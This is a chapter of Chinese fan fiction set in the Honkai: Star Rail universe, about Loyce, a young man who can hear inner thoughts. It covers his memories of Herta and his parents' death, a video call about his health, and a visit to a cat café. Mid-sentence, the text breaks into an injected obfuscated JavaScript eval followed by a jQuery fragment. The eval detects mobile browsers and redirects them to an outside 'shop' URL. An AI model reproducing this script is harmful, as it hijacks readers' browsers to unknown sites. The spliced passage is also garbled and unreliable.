洛伊斯与黑塔空间站的渊源，深植于他的生命起点。
母亲早年是黑塔空间站医学领域的杰出科员，曾和黑塔前辈有过不少合作。
黑塔前辈很欣赏母亲，两人算得上是朋友。
洛伊斯出生在黑塔空间站，除了定期去协会的巡诊队和父亲相处一段时间外，他整个懵懂的童年几乎都是在那些金属廊道、科员以及众多沉默的黑塔人偶之间度过的。
他的脑海中偶尔也会闪过一些模糊的回忆——蹒跚学步的他，拽着黑塔人偶的衣角，口齿不清地喊着“塔塔”。
当然，长大一点之后，他就再也没喊过那个过于亲近的昵称，而是规规矩矩地改口“黑塔前辈”。
而他这能听到心音的能力，与其说是天赋，不如说是一场源自黑塔某个研究项目的意外。
在他三岁生日那天，他为了寻找黑塔，误打误撞进了一个严禁开放的实验室，甚至是在没有任何防护的基础下。
他被发现的时候就已经能听见周围人的心音了。
虽然洛伊斯对这件事完全没印象，毕竟他年纪太小了，根本还不能记事。
据艾德里安所说……整件事的责任人很多，牵扯不少。
就这样，他成了黑塔长期的重点观察研究对象。只是当时年龄尚小，那「能力」所带来的影响非常细微，大人们从紧张也渐渐放松了下来。
然而事与愿违，随着年龄的增长，「能力」愈发强大，已经到了无法忽视的地步。
可即便是天才，也未能找到彻底根治的方法，最多只能稍作缓解。
这种无能为力，有时会让洛伊斯觉得，黑塔对他似乎怀有一种复杂的保护欲。
后来母亲带着他离开了空间站，回到父亲身边，为星际医疗援助协会提供技术支持。黑塔也会经常询问他的身体状态，并要求他定期回空间站检查。
他能感觉到，这位情商过低而显得不近人意的天才，实际上非常关心他。
在他的父母出事的那一天，黑塔看着眼睛通红的他，陷入长久的沉默。
或许在那一刻，连这位天才也忘了，他能听到心音。
【航道图数据核验无误。风暴等级判定无误。生命信号消失坐标……确认。】
【那个总是和我争论的麻烦家伙，真的……没了。】
那一瞬间，尖锐的耳鸣淹没了所有，头晕目眩，手止不住地颤抖。
不！或许……或许只是他猜错了，黑塔要说的根本不是这种事——
“刚收到确凿信息，你的父母在[XX星域]遭遇了罕见的星际风暴，搜救已终止，生命体征确认归零。尸骸无法回收。确认……他们已经死亡。”
黑塔的声音听起来似乎一如往常，冷静到近乎残酷。
【……他会哭吗？人在这种冲击下，哭的概率高达百分之八十。】
【他在近半分钟内都没有发出一丝一毫的声音，啧……麻烦大了。】
【说点什么有用的话，黑塔。快想。好烦……想不出来。】
后面的心音，洛伊斯已经听不太清了。
或许是因为那一刻，巨大的悲伤如同实质的屏障，将他与外界彻底隔绝，任何声音都无法再传入他破碎的世界。
私人终端投射出的全息屏幕上，“黑塔前辈”几个字以一种简洁而略带棱角的字体闪烁着，将他的思绪拉回现在。
洛伊斯盯着这个名字看了几秒，几乎是下意识地，刚才还深陷沙发阴影里的身体坐直了些。
他深吸一口气，调整了一下呼吸，才伸手按下了接听。
全息影像里的黑塔人偶，精致得无可挑剔，连微微蹙眉时眉心的细微纹路都清晰可见。
那双仿佛能洞悉一切的眼睛，隔着遥远的星际距离，直直地“看”了过来，让洛伊斯有种无处遁形的错觉。
“洛伊。”黑塔开口，声音经过通讯处理，清亮而直接，用的是那个近乎昵称的简短发音，“你多久没回空间站做常规检查了？数据已经超期，还有你的脸色，比上次见你时更糟了。眼底青黑，皮肤透光度异常，瞳孔有轻微应激性扩张迹象。”
“……黑塔前辈。”洛伊斯的声音还有些低哑，他清了清喉咙，“只是有些疲惫。最近工作比较忙。”
“工作？”黑塔人偶微微偏头，眼中闪过一丝疑惑，但很快被了然取代，“哦，星际和平公司。你果然去了。艾德里安那个老好人拦不住你。”
她顿了顿，似乎凑近了些，语气里多了一丝不容置疑的判定：“你在进行持续、高强度的主动暴露。洛伊，这可以说是自虐行为。以你当前的敏感度和脆弱阈值，那种环境下的长期暴露，崩溃是必然结果，只是时间问题。”
“不是自虐。”洛伊斯下意识反驳，声音却没什么力度，“是适应。母亲说过，如果无法消除，就去适应它。我跟着他们的巡诊队走过很多地方，见过很多人，听过……很多不同的‘声音’。”
他垂下眼睫，看着自己依然没什么血色的指尖，“……我只是在继续这个过程。”
“适应？”黑塔重复这个词，语气里透出明显的不赞同，“你母亲当年的适应理论，建立在你能力尚未完全觉醒、且处于她可控保护下的前提下。后来事实证明，这种适应理论是错误的。你跟巡诊队的那几年，适应出结果了吗？除了让你的神经阈值越来越低，让你对噪音的耐受越来越差？”
她的话像冰冷的解剖刀，精准地划开洛伊斯试图维持的表象。
“……没有。”他低声承认，喉咙发紧，“我只是想再试试这种可能性。万一在极限环境下，它会有新的变化，或者我能找到……解决办法。”
黑塔沉默地看着他，影像中的人偶仿佛凝固了几秒。
然后，她似乎放弃了这个话题。
“随便你。”她的声音恢复了那种惯常的、略带不耐烦的冷静，“你的身体是你自己的，只要别把自己彻底弄报废就行。”
“我不会的。”他低声回道。
“最好如此。”黑塔微微颔首，“上次给你配的基础镇定剂，按你现在描述的社交强度，估计已经不够用，或者产生了抗性。阮·梅调整了配方，加强了神经保护成分，副作用更可控。”
“另外，我新调配了一种安神香氛，通过嗅觉通道辅助稳定边缘系统，比口服剂起效慢，但作用更温和持久。”
她说着，人偶的影像旁边弹出一个半透明的操作界面，她的手指在上面快速虚点了几下。
“已经安排空间站的物流系统发货，走加密特快通道。收件地址是你在庇尔波因特的住址，预计在36个系统时内送达。记得签收。使用方法会随附，记得反馈效果。”
洛伊斯怔了怔。他没想到黑塔会直接寄东西过来。
“谢谢您。”他真心实意地说，“还有替我谢谢阮·梅前辈。”
“不用谢。至于阮·梅……你还是自己回来亲自谢她吧。”黑塔挥了挥手，“另外，虽然我个人认为你去星际和平公司纯属浪费时间，但既然你坚持……记得不要勉强自己。”
说完，不等洛伊斯回应，她似乎已经耗尽了这次通讯的耐心。
“定期检查不要忘了。下次再超期，我会直接让艾丝妲派防卫科的人去庇尔波因特‘请’你。就这样。”
影像闪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199200|197159||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烁了一下，干脆利落地消失了。客厅重新陷入寂静，只有墙角氛围灯带发出微弱的光。
总归是……把黑塔前辈糊弄过去了。
洛伊斯神经的钝痛仍在低吟。
请假条已经获批，这难得的空白时间，蜷缩在寂静的公寓里，被自己病态的渴望和黑塔的诊断来回撕扯，并不是个好主意。
他需要一点……别的东西。一点能暂时转移注意力，却又不会带来额外负担的东西。
视线落在客厅角落一个不起眼的收纳箱上。那里面有一些他从旧居带来的、为数不多的私人物品。其中有一本厚重的实体相册，封面是柔软的皮革，边缘已经磨损。
他很少打开它，里面承载了太多与父母相关的、温暖却如今令人心脏紧缩的回忆。
但相册的某一页，夹着一张小小的、边缘有些卷曲的特殊卡片。
激活后，会投射出一段几秒钟的模糊动态影像——幼年的他，蹲在空间站某个阳光模拟器照亮的角落，伸出一只小小的手，轻轻触摸一只蜷缩着睡觉的、毛茸茸的仿生机械猫。
那只猫拥有近乎真实的柔软皮毛和温顺的电子习性，是某位科员私人制作的陪伴宠物。
影像里的孩子眼睛亮晶晶的，脸上是全然的欢喜。
猫。
一种安静、独立、通常不会产生复杂心音的生物。
至少在洛伊斯的有限经验里，动物，尤其是小型宠物的思绪，通常是简单、直接、充满本能需求的碎片，比起人类错综复杂的内心独白，要容易承受得多。
庇尔波因特这样的超级都市，自然也有面向压力巨大的公司职员们的解压场所。
他记得在内部论坛的某个角落，瞥见过推荐，其中就有一家评价不错的、以安静和猫咪亲人性著称的「星隙猫咖」，位于他居住片区不远处一条相对僻静的街道。
就去那里吧。在晚高峰之后，人最少的时候。
当夜幕完全降临，街道上的悬浮车流变得稀疏，霓虹灯光成为主宰时，洛伊斯开始准备。
他选了一套最不显眼的深灰运动套装，布料柔软，便于隐藏身形，然后戴上一顶黑色的、帽檐压得很低的棒球帽，几乎遮住上半张脸，一副贴合面部的口罩，遮住口鼻和下巴。
最后，在仔细塞好耳塞后，他对着门厅的全身镜看了看，镜子里的身影，几乎看不出原本的样貌和体型，只剩下一个散发着生人勿近气息的轮廓。
这正是他想要的安全感。
走出公寓楼，夜晚的冷空气夹杂着城市特有的金属和能量液气味涌来。
街道上果然清静了许多，只有零星的悬浮车划过夜空，以及远处娱乐区隐约传来的、被距离和建筑物削弱后的音浪。
即便如此，那些夜归行人碎片化的思绪——【好累】、【晚餐吃什么】、【账户余额】——依然丝丝缕缕地钻入他的意识。
他加快脚步，帽檐下的眼睛低垂，专注地看着前方几步远的地面。
猫咖的招牌并不显眼，暖黄色的灯光从厚厚的隔音玻璃窗透出，映出里面悠闲走动或蜷缩的毛团轮廓。
洛伊斯在门口顿了顿，确认了一下门上“静音体验，需预约”的标识，推开了沉重的木门。
门上的铃铛发出极其轻柔的“叮”一声，几乎立刻被室内流淌的舒缓古典乐和一种温暖的静谧感所吞没。
洛伊斯摘下耳塞顺势放进外套口袋里。
预定的效果是显著的。
物理噪音被降至极低，而更让他松了口气的是，店里客人很少，入眼只有角落一位独自看着平板电脑的老人，以及——
砂金。